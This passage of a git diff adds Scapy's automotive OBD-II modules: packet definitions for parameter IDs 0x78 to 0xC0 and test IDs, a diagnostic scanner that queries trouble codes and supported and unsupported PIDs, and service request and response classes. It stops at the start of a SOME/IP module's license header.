offset=-40, + scaling=0.1, fmt='H'), + ScalingField('sensor4', 0, unit="deg. C", offset=-40, + scaling=0.1, fmt='H'), + ] + + +class OBD_PID78(_OBD_PID_ExhaustGasTemperatureBank): + name = "PID_78_ExhaustGasTemperatureBank1" + + +class OBD_PID79(_OBD_PID_ExhaustGasTemperatureBank): + name = "PID_79_ExhaustGasTemperatureBank2" + + +class _OBD_PID_DieselParticulateFilter(OBD_Packet): + fields_desc = [ + BitField('reserved', 0, 5), + BitField('outlet_pressure_supported', 0, 1), + BitField('inlet_pressure_supported', 0, 1), + BitField('delta_pressure_supported', 0, 1), + ScalingField('delta_pressure', 0, + unit='kPa', offset=-327.68, scaling=0.01, fmt='H'), + ScalingField('particulate_filter', 0, + unit='kPa', scaling=0.01, fmt='H'), + ScalingField('outlet_pressure', 0, + unit='kPa', scaling=0.01, fmt='H'), + ] + + +class OBD_PID7A(_OBD_PID_DieselParticulateFilter): + name = "PID_7A_DieselParticulateFilter1" + + +class OBD_PID7B(_OBD_PID_DieselParticulateFilter): + name = "PID_7B_DieselParticulateFilter2" + + +class OBD_PID7C(OBD_Packet): + name = "PID_7C_DieselParticulateFilterTemperature" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('bank2_outlet_temperature_supported', 0, 1), + BitField('bank2_inlet_temperature_supported', 0, 1), + BitField('bank1_outlet_temperature_supported', 0, 1), + BitField('bank1_inlet_temperature_supported', 0, 1), + ScalingField('bank1_inlet_temperature_sensor', 0, + unit="deg. C", offset=-40, scaling=0.1, fmt='H'), + ScalingField('bank1_outlet_temperature_sensor', 0, + unit="deg. C", offset=-40, scaling=0.1, fmt='H'), + ScalingField('bank2_inlet_temperature_sensor', 0, + unit="deg. C", offset=-40, scaling=0.1, fmt='H'), + ScalingField('bank2_outlet_temperature_sensor', 0, + unit="deg. C", offset=-40, scaling=0.1, fmt='H'), + ] + + +class OBD_PID7D(OBD_Packet): + name = "PID_7D_NoxNteControlAreaStatus" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('nte_deficiency_for_nox_active_area', 0, 1), + BitField('inside_manufacturer_specific_nox_nte_carve_out_area', 0, 1), + BitField('outside', 0, 1), + BitField('inside', 0, 1), + ] + + +class OBD_PID7E(OBD_Packet): + name = "PID_7E_PmNteControlAreaStatus" + fields_desc = [ + BitField('reserved', 0, 4), + BitField('nte_deficiency_for_pm_active_area', 0, 1), + BitField('inside_manufacturer_specific_pm_nte_carve_out_area', 0, 1), + BitField('outside', 0, 1), + BitField('inside', 0, 1), + ] + + +class OBD_PID7F(OBD_Packet): + name = "PID_7F_EngineRunTime" + fields_desc = [ + BitField('reserved', 0, 5), + BitField('total_with_pto_active_supported', 0, 1), + BitField('total_idle_supported', 0, 1), + BitField('total_supported', 0, 1), + ScalingField('total', 0, unit='sec', fmt='Q'), + ScalingField('total_idle', 0, unit='sec', fmt='Q'), + ScalingField('total_with_pto_active', 0, unit='sec', fmt='Q'), + ] diff --git a/libs/scapy/contrib/automotive/obd/pid/pids_80_9F.py b/libs/scapy/contrib/automotive/obd/pid/pids_80_9F.py new file mode 100755 index 0000000..4153b7a --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/pids_80_9F.py @@ -0,0 +1,287 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import StrFixedLenField, FlagsField, ScalingField, BitField +from scapy.contrib.automotive.obd.packet import OBD_Packet + + +# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information +# PID = Parameter IDentification + +class OBD_PID80(OBD_Packet): + name = "PID_80_PIDsSupported" + fields_desc = [ + FlagsField('supported_pids', 0, 32, [ + 'PIDA0', + 'PID9F', + 'PID9E', + 'PID9D', + 'PID9C', + 'PID9B', + 'PID9A', + 'PID99', + 'PID98', + 'PID97', + 'PID96', + 'PID95', + 'PID94', + 'PID93', + 'PID92', + 'PID91', + 'PID90', + 'PID8F', + 'PID8E', + 'PID8D', + 'PID8C', + 'PID8B', + 'PID8A', + 'PID89', + 'PID88', + 'PID87', + 'PID86', + 'PID85', + 'PID84', + 'PID83', + 'PID82', + 'PID81' + ]) + ] + + +class OBD_PID81(OBD_Packet): + name = "PID_81_EngineRunTimeForAuxiliaryEmissionsControlDevice" + fields_desc = [ + BitField('reserved', 0, 3), + BitField('total_run_time_with_ei_aecd5_supported', 0, 1), + BitField('total_run_time_with_ei_aecd4_supported', 0, 1), + BitField('total_run_time_with_ei_aecd3_supported', 0, 1), + BitField('total_run_time_with_ei_aecd2_supported', 0, 1), + BitField('total_run_time_with_ei_aecd1_supported', 0, 1), + ScalingField('total_run_time_with_ei_aecd1', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd2', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd3', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd4', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd5', 0, unit='sec', + fmt='Q'), + ] + + +class OBD_PID82(OBD_Packet): + name = "PID_82_EngineRunTimeForAuxiliaryEmissionsControlDevice" + fields_desc = [ + BitField('reserved', 0, 3), + BitField('total_run_time_with_ei_aecd10_supported', 0, 1), + BitField('total_run_time_with_ei_aecd9_supported', 0, 1), + BitField('total_run_time_with_ei_aecd8_supported', 0, 1), + BitField('total_run_time_with_ei_aecd7_supported', 0, 1), + BitField('total_run_time_with_ei_aecd6_supported', 0, 1), + ScalingField('total_run_time_with_ei_aecd6', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd7', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd8', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd9', 0, unit='sec', + fmt='Q'), + ScalingField('total_run_time_with_ei_aecd10', 0, unit='sec', + fmt='Q'), + ] + + +class OBD_PID83(OBD_Packet): + name = "PID_83_NOxSensor" + fields_desc = [ + BitField('reserved', 0, 6), + BitField('nox_sensor_concentration_bank2_sensor1_supported', 0, 1), + BitField('nox_sensor_concentration_bank1_sensor1_supported', 0, 1), + ScalingField('nox_sensor_concentration_bank1_sensor1', 0, unit='ppm', + fmt='H'), + ScalingField('nox_sensor_concentration_bank2_sensor1', 0, unit='ppm', + fmt='H'), + ] + + +class OBD_PID84(OBD_Packet): + name = "PID_84_ManifoldSurfaceTemperature" + fields_desc = [ + StrFixedLenField('data', b'', 1) + ] + + +class OBD_PID85(OBD_Packet): + name = "PID_85_NoxReagentSystem" + fields_desc = [ + StrFixedLenField('data', b'', 10) + ] + + +class OBD_PID86(OBD_Packet): + name = "PID_86_ParticulateMatterSensor" + fields_desc = [ + StrFixedLenField('data', b'', 5) + ] + + +class OBD_PID87(OBD_Packet): + name = "PID_87_IntakeManifoldAbsolutePressure" + fields_desc = [ + StrFixedLenField('data', b'', 5) + ] + + +class OBD_PID88(OBD_Packet): + name = "PID_88_ScrInduceSystem" + fields_desc = [ + StrFixedLenField('data', b'', 13) + ] + + +class OBD_PID89(OBD_Packet): + # 11 - 15 + name = "PID_89_RunTimeForAecd" + fields_desc = [ + StrFixedLenField('data', b'', 41) + ] + + +class OBD_PID8A(OBD_Packet): + # 16 - 20 + name = "PID_8A_RunTimeForAecd" + fields_desc = [ + StrFixedLenField('data', b'', 41) + ] + + +class OBD_PID8B(OBD_Packet): + name = "PID_8B_DieselAftertreatment" + fields_desc = [ + StrFixedLenField('data', b'', 7) + ] + + +class OBD_PID8C(OBD_Packet): + name = "PID_8C_O2Sensor" + fields_desc = [ + StrFixedLenField('data', b'', 16) + ] + + +class OBD_PID8D(OBD_Packet): + name = "PID_8D_ThrottlePositionG" + fields_desc = [ + StrFixedLenField('data', b'', 1) + ] + + +class OBD_PID8E(OBD_Packet): + name = "PID_8E_EngineFrictionPercentTorque" + fields_desc = [ + StrFixedLenField('data', b'', 1) + ] + + +class OBD_PID8F(OBD_Packet): + name = "PID_8F_PmSensorBank1And2" + fields_desc = [ + StrFixedLenField('data', b'', 5) + ] + + +class OBD_PID90(OBD_Packet): + name = "PID_90_WwhObdVehicleObdSystemInformation" + fields_desc = [ + StrFixedLenField('data', b'', 3) + ] + + +class OBD_PID91(OBD_Packet): + name = "PID_91_WwhObdVehicleObdSystemInformation" + fields_desc = [ + StrFixedLenField('data', b'', 5) + ] + + +class OBD_PID92(OBD_Packet): + name = "PID_92_FuelSystemControl" + fields_desc = [ + StrFixedLenField('data', b'', 2) + ] + + +class OBD_PID93(OBD_Packet): + name = "PID_93_WwhObdVehicleObdCountersSupport" + fields_desc = [ + StrFixedLenField('data', b'', 3) + ] + + +class OBD_PID94(OBD_Packet): + name = "PID_94_NoxWarningAndInducementSystem" + fields_desc = [ + StrFixedLenField('data', b'', 12) + ] + + +class OBD_PID98(OBD_Packet): + name = "PID_98_ExhaustGasTemperatureSensor" + fields_desc = [ + StrFixedLenField('data', b'', 9) + ] + + +class OBD_PID99(OBD_Packet): + name = "PID_99_ExhaustGasTemperatureSensor" + fields_desc = [ + StrFixedLenField('data', b'', 9) + ] + + +class OBD_PID9A(OBD_Packet): + name = "PID_9A_HybridEvVehicleSystemDataBatteryVoltage" + fields_desc = [ + StrFixedLenField('data', b'', 6) + ] + + +class OBD_PID9B(OBD_Packet): + name = "PID_9B_DieselExhaustFluidSensorData" + fields_desc = [ + StrFixedLenField('data', b'', 4) + ] + + +class OBD_PID9C(OBD_Packet): + name = "PID_9C_O2SensorData" + fields_desc = [ + StrFixedLenField('data', b'', 17) + ] + + +class OBD_PID9D(OBD_Packet): + name = "PID_9D_EngineFuelRate" + fields_desc = [ + StrFixedLenField('data', b'', 4) + ] + + +class OBD_PID9E(OBD_Packet): + name = "PID_9E_EngineExhaustFlowRate" + fields_desc = [ + StrFixedLenField('data', b'', 2) + ] + + +class OBD_PID9F(OBD_Packet): + name = "PID_9F_FuelSystemPercentageUse" + fields_desc = [ + StrFixedLenField('data', b'', 9) + ] diff --git a/libs/scapy/contrib/automotive/obd/pid/pids_A0_C0.py b/libs/scapy/contrib/automotive/obd/pid/pids_A0_C0.py new file mode 100755 index 0000000..ae4d573 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/pids_A0_C0.py @@ -0,0 +1,135 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import StrFixedLenField, FlagsField +from scapy.contrib.automotive.obd.packet import OBD_Packet + + +# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information +# PID = Parameter IDentification + +class OBD_PIDA0(OBD_Packet): + name = "PID_A0_PIDsSupported" + fields_desc = [ + FlagsField('supported_pids', 0, 32, [ + 'PIDC0', + 'PIDBF', + 'PIDBE', + 'PIDBD', + 'PIDBC', + 'PIDBB', + 'PIDBA', + 'PIDB9', + 'PIDB8', + 'PIDB7', + 'PIDB6', + 'PIDB5', + 'PIDB4', + 'PIDB3', + 'PIDB2', + 'PIDB1', + 'PIDB0', + 'PIDAF', + 'PIDAE', + 'PIDAD', + 'PIDAC', + 'PIDAB', + 'PIDAA', + 'PIDA9', + 'PIDA8', + 'PIDA7', + 'PIDA6', + 'PIDA5', + 'PIDA4', + 'PIDA3', + 'PIDA2', + 'PIDA1' + ]) + ] + + +class OBD_PIDA1(OBD_Packet): + name = "PID_A1_NoxSensorCorrectedData" + fields_desc = [ + StrFixedLenField('data', b'', 9) + ] + + +class OBD_PIDA2(OBD_Packet): + name = "PID_A2_CylinderFuelRate" + fields_desc = [ + StrFixedLenField('data', b'', 2) + ] + + +class OBD_PIDA3(OBD_Packet): + name = "PID_A3_EvapSystemVaporPressure" + fields_desc = [ + StrFixedLenField('data', b'', 9) + ] + + +class OBD_PIDA4(OBD_Packet): + name = "PID_A4_TransmissionActualGear" + fields_desc = [ + StrFixedLenField('data', b'', 4) + ] + + +class OBD_PIDA5(OBD_Packet): + name = "PID_A5_DieselExhaustFluidDosing" + fields_desc = [ + StrFixedLenField('data', b'', 4) + ] + + +class OBD_PIDA6(OBD_Packet): + name = "PID_A6_Odometer" + fields_desc = [ + StrFixedLenField('data', b'', 4) + ] + + +class OBD_PIDC0(OBD_Packet): + name = "PID_C0_PIDsSupported" + fields_desc = [ + FlagsField('supported_pids', 0, 32, [ + 'PIDE0', + 'PIDDF', + 'PIDDE', + 'PIDDD', + 'PIDDC', + 'PIDDB', + 'PIDDA', + 'PIDD9', + 'PIDD8', + 'PIDD7', + 'PIDD6', + 'PIDD5', + 'PIDD4', + 'PIDD3', + 'PIDD2', + 'PIDD1', + 'PIDD0', + 'PIDCF', + 'PIDCE', + 'PIDCD', + 'PIDCC', + 'PIDCB', + 'PIDCA', + 'PIDC9', + 'PIDC8', + 'PIDC7', + 'PIDC6', + 'PIDC5', + 'PIDC4', + 'PIDC3', + 'PIDC2', + 'PIDC1' + ]) + ] diff --git a/libs/scapy/contrib/automotive/obd/scanner.py b/libs/scapy/contrib/automotive/obd/scanner.py new file mode 100755 index 0000000..4a8bc21 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/scanner.py @@ -0,0 +1,231 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Friedrich Feigel +# This program is published under a GPLv2 license + +# scapy.contrib.description = OnBoardDiagnosticScanner +# scapy.contrib.status = loads + +# XXX TODO This file contains illegal E501 issues D: + +from scapy.compat import chb +from scapy.contrib.automotive.obd.obd import OBD, OBD_S03, OBD_S07, OBD_S0A, \ + OBD_S01, OBD_S06, OBD_S08, OBD_S09 + + +def _supported_id_numbers(socket, timeout, service_class, id_name, verbose): + """ Check which Parameter IDs are supported by the vehicle + + Args: + socket: is the ISOTPSocket, over which the OBD-Services communicate. + the id 0x7df acts as a broadcast address for all obd-supporting ECUs. + timeout: only required for the OBD Simulator, since it might tell it + supports a PID, while it actually doesn't and won't respond to this PID. + If this happens with a real ECU, it is an implementation error. + service_class: specifies, which OBD-Service should be queried. + id_name: describes the car domain (e.g.: mid = IDs in Motor Domain). + verbose: specifies, whether the sr1()-method gives feedback or not. + + This method sends a query message via a ISOTPSocket, which will be responded by the ECUs with + a message containing Bits, representing whether a PID is supported by the vehicle's protocol implementation or not. + The first Message has the PID 0x00 and contains 32 Bits, which indicate by their index and value, which PIDs are + supported. + If the PID 0x20 is supported, that means, there are more supported PIDs within the next 32 PIDs, which will result + in a new query message being sent, that contains the next 32 Bits. + There is a maximum of 256 possible PIDs. + The supported PIDs will be returned as set. + """ + + supported_id_numbers = set() + supported_prop = 'supported_' + id_name + 's' + + # ID 0x00 requests the first range of supported IDs in OBD + supported_ids_req = OBD() / service_class(b'\x00') + + while supported_ids_req is not None: + resp = socket.sr1(supported_ids_req, timeout=timeout, verbose=verbose) + + # If None, the device did not respond. + # Usually only occurs, if device is off. + if resp is None or resp.service == 0x7f: + break + + supported_ids_req = None + + all_supported_in_range = getattr(resp.data_records[0], supported_prop) + + for supported in all_supported_in_range: + id_number = int(supported[-2:], 16) + supported_id_numbers.add(id_number) + + # send a new query if the next PID range is supported + if id_number % 0x20 == 0: + supported_ids_req = OBD() / service_class(chb(id_number)) + + return supported_id_numbers + + +def _scan_id_service(socket, timeout, service_class, id_numbers, verbose): + """ Queries certain PIDs and stores their return value + + Args: + socket: is the ISOTPSocket, over which the OBD-Services communicate. + the id 0x7df acts as a broadcast address for all obd-supporting ECUs. + timeout: only required for the OBD Simulator, since it might tell it + supports a PID, while it actually doesn't and won't respond to this PID. + If this happens with a real ECU, it is an implementation error. + service_class: specifies, which OBD-Service should be queried. + id_numbers: a set of PIDs, which should be queried by the method. + verbose: specifies, whether the sr1()-method gives feedback or not. + + This method queries the specified id_numbers and stores their responses in a dictionary, which is then returned. + """ + + data = dict() + + for id_number in id_numbers: + id_byte = chb(id_number) + # assemble request packet + pkt = OBD() / service_class(id_byte) + resp = socket.sr1(pkt, timeout=timeout, verbose=verbose) + + if resp is not None: + data[id_number] = bytes(resp) + return data + + +def _scan_dtc_service(socket, timeout, service_class, verbose): + """ Queries Diagnostic Trouble Code Parameters and stores their return value + + Args: + socket: is the ISOTPSocket, over which the OBD-Services communicate. + the id 0x7df acts as a broadcast address for all obd-supporting ECUs. + timeout: only required for the OBD Simulator, since it might tell it + supports a PID, while it actually doesn't and won't respond to this PID. + If this happens with a real ECU, it is an implementation error. + service_class: specifies, which OBD-Service should be queried. + verbose: specifies, whether the sr1()-method gives feedback or not. + + This method queries the specified Diagnostic Trouble Code Parameters and stores their responses in a dictionary, + which is then returned. + """ + + req = OBD() / service_class() + resp = socket.sr1(req, timeout=timeout, verbose=verbose) + if resp is not None: + return bytes(resp) + + +def obd_scan(socket, timeout=0.1, supported_ids=False, + unsupported_ids=False, verbose=False): + """ Scans for all accessible information of each commonly used OBD service classes and prints the results + + Args: + socket: is the ISOTPSocket, over which the OBD-Services communicate. + the id 0x7df acts as a broadcast address for all obd-supporting ECUs. + timeout: only required for the OBD Simulator, since it might tell it + supports a PID, while it actually doesn't and won't respond to this PID. + If this happens with a real ECU, it is an implementation error. + supported_ids: specifies, whether to check for supported Parameter IDs. + The OBD-Protocol offers querying, which PIDs the implemented ECUs support. + unsupported_ids: specifies, whether to check for unsupported or hidden Parameter IDs. + There is a possibility of PIDs answering, which are addressed directly, but which are + not listed in the supported query response. We call these PIDs unsupported PIDs, because + they are seemingly unsupported. + verbose: specifies, whether the sr1()-method gives feedback or not and turns. + + This method queries the Diagnostic Trouble Code Parameters and if selected, supported and/or unsupported PIDS and + prints the results. + """ + + dtc = dict() + supported = dict() + unsupported = dict() + + if verbose: + print("\nStarting OBD-Scan...") + + print("\nScanning Diagnostic Trouble Codes:") + # Emission-related DTCs + dtc[3] = _scan_dtc_service(socket, timeout, OBD_S03, verbose) + # Emission-related DTCs detected during current or last completed driving + # cycle + dtc[7] = _scan_dtc_service(socket, timeout, OBD_S07, verbose) + # Permanent DTCs + dtc[10] = _scan_dtc_service(socket, timeout, OBD_S0A, verbose) + print("Service 3:") + print(dtc[3]) + print("Service 7:") + print(dtc[7]) + print("Service 10:") + print(dtc[10]) + + if not supported_ids and not unsupported_ids: + return dtc + + # Powertrain + supported_ids_s01 = _supported_id_numbers( + socket, timeout, OBD_S01, 'pid', verbose) + # On-board monitoring test results for non-continuously monitored systems + supported_ids_s06 = _supported_id_numbers( + socket, timeout, OBD_S06, 'mid', verbose) + # Control of on-board system, test or component + supported_ids_s08 = _supported_id_numbers( + socket, timeout, OBD_S08, 'tid', verbose) + # On-board monitoring test results for non-continuously monitored systems + supported_ids_s09 = _supported_id_numbers( + socket, timeout, OBD_S09, 'iid', verbose) + + if supported_ids: + print("\nScanning supported Parameter IDs") + supported[1] = _scan_id_service( + socket, timeout, OBD_S01, supported_ids_s01, verbose) + supported[6] = _scan_id_service( + socket, timeout, OBD_S06, supported_ids_s06, verbose) + supported[8] = _scan_id_service( + socket, timeout, OBD_S08, supported_ids_s08, verbose) + supported[9] = _scan_id_service( + socket, timeout, OBD_S09, supported_ids_s09, verbose) + print("\nSupported PIDs of Service 1:") + print(supported[1]) + print("Supported PIDs of Service 6:") + print(supported[6]) + print("Supported PIDs of Service 8:") + print(supported[8]) + print("Supported PIDs of Service 9:") + + # this option will slow down the test a lot, since it tests for seemingly unsupported ids + # the chances of those actually responding will be small, so a lot of + # timeouts can be expected + if unsupported_ids: + # the complete id range is from 1 to 255 + all_ids_set = set(range(1, 256)) + # the unsupported id ranges are obtained by creating the compliment set + # excluding 0 + unsupported_ids_s01 = all_ids_set - supported_ids_s01 + unsupported_ids_s06 = all_ids_set - supported_ids_s06 + unsupported_ids_s08 = all_ids_set - supported_ids_s08 + unsupported_ids_s09 = all_ids_set - supported_ids_s09 + + print("\nScanning unsupported Parameter IDs") + if verbose: + print("This may take a while...") + unsupported[1] = _scan_id_service( + socket, timeout, OBD_S01, unsupported_ids_s01, verbose) + unsupported[6] = _scan_id_service( + socket, timeout, OBD_S06, unsupported_ids_s06, verbose) + unsupported[8] = _scan_id_service( + socket, timeout, OBD_S08, unsupported_ids_s08, verbose) + unsupported[9] = _scan_id_service( + socket, timeout, OBD_S09, unsupported_ids_s09, verbose) + print("\nUnsupported PIDs of Service 1:") + print(unsupported[1]) + print("Unsupported PIDs of Service 6:") + print(unsupported[6]) + print("unsupported PIDs of Service 8:") + print(unsupported[8]) + print("Unsupported PIDs of Service 9:") + print(unsupported[9]) + + return dtc, supported, unsupported diff --git a/libs/scapy/contrib/automotive/obd/services.py b/libs/scapy/contrib/automotive/obd/services.py new file mode 100755 index 0000000..c24a5ab --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/services.py @@ -0,0 +1,153 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import ByteField, XByteField, BitEnumField, \ + PacketListField, XBitField, XByteEnumField, FieldListField, FieldLenField +from scapy.packet import Packet +from scapy.contrib.automotive.obd.packet import OBD_Packet +from scapy.config import conf + + +class OBD_DTC(OBD_Packet): + name = "DiagnosticTroubleCode" + + locations = { + 0b00: 'Powertrain', + 0b01: 'Chassis', + 0b10: 'Body', + 0b11: 'Network', + } + + fields_desc = [ + BitEnumField('location', 0, 2, locations), + XBitField('code1', 0, 2), + XBitField('code2', 0, 4), + XBitField('code3', 0, 4), + XBitField('code4', 0, 4), + ] + + +class OBD_NR(Packet): + name = "NegativeResponse" + + responses = { + 0x10: 'generalReject', + 0x11: 'serviceNotSupported', + 0x12: 'subFunctionNotSupported-InvalidFormat', + 0x21: 'busy-RepeatRequest', + 0x22: 'conditionsNotCorrectOrRequestSequenceError', + 0x78: 'requestCorrectlyReceived-ResponsePending' + } + + fields_desc = [ + XByteField('request_service_id', 0), + XByteEnumField('response_code', 0, responses) + ] + + def answers(self, other): + return self.request_service_id == other.service and \ + (self.response_code != 0x78 or + conf.contribs['OBD']['treat-response-pending-as-answer']) + + +class OBD_S01(Packet): + name = "S1_CurrentData" + fields_desc = [ + FieldListField("pid", [], XByteField('', 0)) + ] + + +class OBD_S02_Record(OBD_Packet): + fields_desc = [ + XByteField('pid', 0), + ByteField('frame_no', 0) + ] + + +class OBD_S02(Packet): + name = "S2_FreezeFrameData" + fields_desc = [ + PacketListField("requests", [], OBD_S02_Record) + ] + + +class OBD_S03(Packet): + name = "S3_RequestDTCs" + + +class OBD_S03_PR(Packet): + name = "S3_ResponseDTCs" + fields_desc = [ + FieldLenField('count', None, count_of='dtcs', fmt='B'), + PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) + ] + + def answers(self, other): + return other.__class__ == OBD_S03 + + +class OBD_S04(Packet): + name = "S4_ClearDTCs" + + +class OBD_S04_PR(Packet): + name = "S4_ClearDTCsPositiveResponse" + + def answers(self, other): + return other.__class__ == OBD_S04 + + +class OBD_S06(Packet): + name = "S6_OnBoardDiagnosticMonitoring" + fields_desc = [ + FieldListField("mid", [], XByteField('', 0)) + ] + + +class OBD_S07(Packet): + name = "S7_RequestPendingDTCs" + + +class OBD_S07_PR(Packet): + name = "S7_ResponsePendingDTCs" + fields_desc = [ + FieldLenField('count', None, count_of='dtcs', fmt='B'), + PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) + ] + + def answers(self, other): + return other.__class__ == OBD_S07 + + +class OBD_S08(Packet): + name = "S8_RequestControlOfSystem" + fields_desc = [ + FieldListField("tid", [], XByteField('', 0)) + ] + + +class OBD_S09(Packet): + name = "S9_VehicleInformation" + fields_desc = [ + FieldListField("iid", [], XByteField('', 0)) + ] + + +class OBD_S0A(Packet): + name = "S0A_RequestPermanentDTCs" + + +class OBD_S0A_PR(Packet): + name = "S0A_ResponsePermanentDTCs" + fields_desc = [ + FieldLenField('count', None, count_of='dtcs', fmt='B'), + PacketListField('dtcs', [], OBD_DTC, count_from=lambda pkt: pkt.count) + ] + + def answers(self, other): + return other.__class__ == OBD_S0A diff --git a/libs/scapy/contrib/automotive/obd/tid/__init__.py b/libs/scapy/contrib/automotive/obd/tid/__init__.py new file mode 100755 index 0000000..f89e965 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/tid/__init__.py @@ -0,0 +1,12 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +""" +Package of contrib automotive obd specific modules +that have to be loaded explicitly. +""" diff --git a/libs/scapy/contrib/automotive/obd/tid/tids.py b/libs/scapy/contrib/automotive/obd/tid/tids.py new file mode 100755 index 0000000..4060369 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/tid/tids.py @@ -0,0 +1,153 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import FlagsField, ByteField, ScalingField, PacketListField +from scapy.packet import bind_layers, Packet +from scapy.contrib.automotive.obd.packet import OBD_Packet +from scapy.contrib.automotive.obd.services import OBD_S08 + + +class _OBD_TID_Voltage(OBD_Packet): + fields_desc = [ + ScalingField('data_a', 0, 0.005, "V"), + ScalingField('data_b', 0, 0.005, "V"), + ScalingField('data_c', 0, 0.005, "V"), + ScalingField('data_d', 0, 0.005, "V"), + ScalingField('data_e', 0, 0.005, "V"), + ] + + +class _OBD_TID_Time(OBD_Packet): + fields_desc = [ + ScalingField('data_a', 0, 0.004, "s"), + ScalingField('data_b', 0, 0.004, "s"), + ScalingField('data_c', 0, 0.004, "s"), + ScalingField('data_d', 0, 0.004, "s"), + ScalingField('data_e', 0, 0.004, "s"), + ] + + +class _OBD_TID_Period(OBD_Packet): + fields_desc = [ + ScalingField('data_a', 0, 0.04, "s"), + ScalingField('data_b', 0, 0.04, "s"), + ScalingField('data_c', 0, 0.04, "s"), + ScalingField('data_d', 0, 0.04, "s"), + ScalingField('data_e', 0, 0.04, "s"), + ] + + +class OBD_TID00(OBD_Packet): + name = "TID_00_Service8SupportedTestIdentifiers" + fields_desc = [ + FlagsField('supported_tids', 0, 32, [ + 'TID20', + 'TID1F', + 'TID1E', + 'TID1D', + 'TID1C', + 'TID1B', + 'TID1A', + 'TID19', + 'TID18', + 'TID17', + 'TID16', + 'TID15', + 'TID14', + 'TID13', + 'TID12', + 'TID11', + 'TID10', + 'TID0F', + 'TID0E', + 'TID0D', + 'TID0C', + 'TID0B', + 'TID0A', + 'TID09', + 'TID08', + 'TID07', + 'TID06', + 'TID05', + 'TID04', + 'TID03', + 'TID02', + 'TID01' + ]) + ] + + +class OBD_TID01(_OBD_TID_Voltage): + name = "TID_01_RichToLeanSensorThresholdVoltage" + + +class OBD_TID02(_OBD_TID_Voltage): + name = "TID_02_LeanToRichSensorThresholdVoltage" + + +class OBD_TID03(_OBD_TID_Voltage): + name = "TID_03_LowSensorVoltageForSwitchTimeCalculation" + + +class OBD_TID04(_OBD_TID_Voltage): + name = "TID_04_HighSensorVoltageForSwitchTimeCalculation" + + +class OBD_TID05(_OBD_TID_Time): + name = "TID_05_RichToLeanSensorSwitchTime" + + +class OBD_TID06(_OBD_TID_Time): + name = "TID_06_LeanToRichSensorSwitchTime" + + +class OBD_TID07(_OBD_TID_Voltage): + name = "TID_07_MinimumSensorVoltageForTestCycle" + + +class OBD_TID08(_OBD_TID_Voltage): + name = "TID_08_MaximumSensorVoltageForTestCycle" + + +class OBD_TID09(_OBD_TID_Period): + name = "TID_09_TimeBetweenSensorTransitions" + + +class OBD_TID0A(_OBD_TID_Period): + name = "TID_0A_SensorPeriod" + + +class OBD_S08_PR_Record(Packet): + name = "Control Operation ID" + fields_desc = [ + ByteField("tid", 0), + ] + + +class OBD_S08_PR(Packet): + name = "Control Operation IDs" + fields_desc = [ + PacketListField("data_records", [], OBD_S08_PR_Record) + ] + + def answers(self, other): + return other.__class__ == OBD_S08 \ + and all(r.tid in other.tid for r in self.data_records) + + +bind_layers(OBD_S08_PR_Record, OBD_TID00, tid=0x00) +bind_layers(OBD_S08_PR_Record, OBD_TID01, tid=0x01) +bind_layers(OBD_S08_PR_Record, OBD_TID02, tid=0x02) +bind_layers(OBD_S08_PR_Record, OBD_TID03, tid=0x03) +bind_layers(OBD_S08_PR_Record, OBD_TID04, tid=0x04) +bind_layers(OBD_S08_PR_Record, OBD_TID05, tid=0x05) +bind_layers(OBD_S08_PR_Record, OBD_TID06, tid=0x06) +bind_layers(OBD_S08_PR_Record, OBD_TID07, tid=0x07) +bind_layers(OBD_S08_PR_Record, OBD_TID08, tid=0x08) +bind_layers(OBD_S08_PR_Record, OBD_TID09, tid=0x09) +bind_layers(OBD_S08_PR_Record, OBD_TID0A, tid=0x0A) diff --git a/libs/scapy/contrib/automotive/someip.py b/libs/scapy/contrib/automotive/someip.py new file mode 100755 index 0000000..8c0e8d5 --- /dev/null +++ b/libs/scapy/contrib/automotive/someip.py @@ -0,0 +1,526 @@ +# MIT License + +# Copyright (c) 2018 Jose Amores + +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: + +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. + +# THE SOFTWARE IS PROVIDED "AS IS", 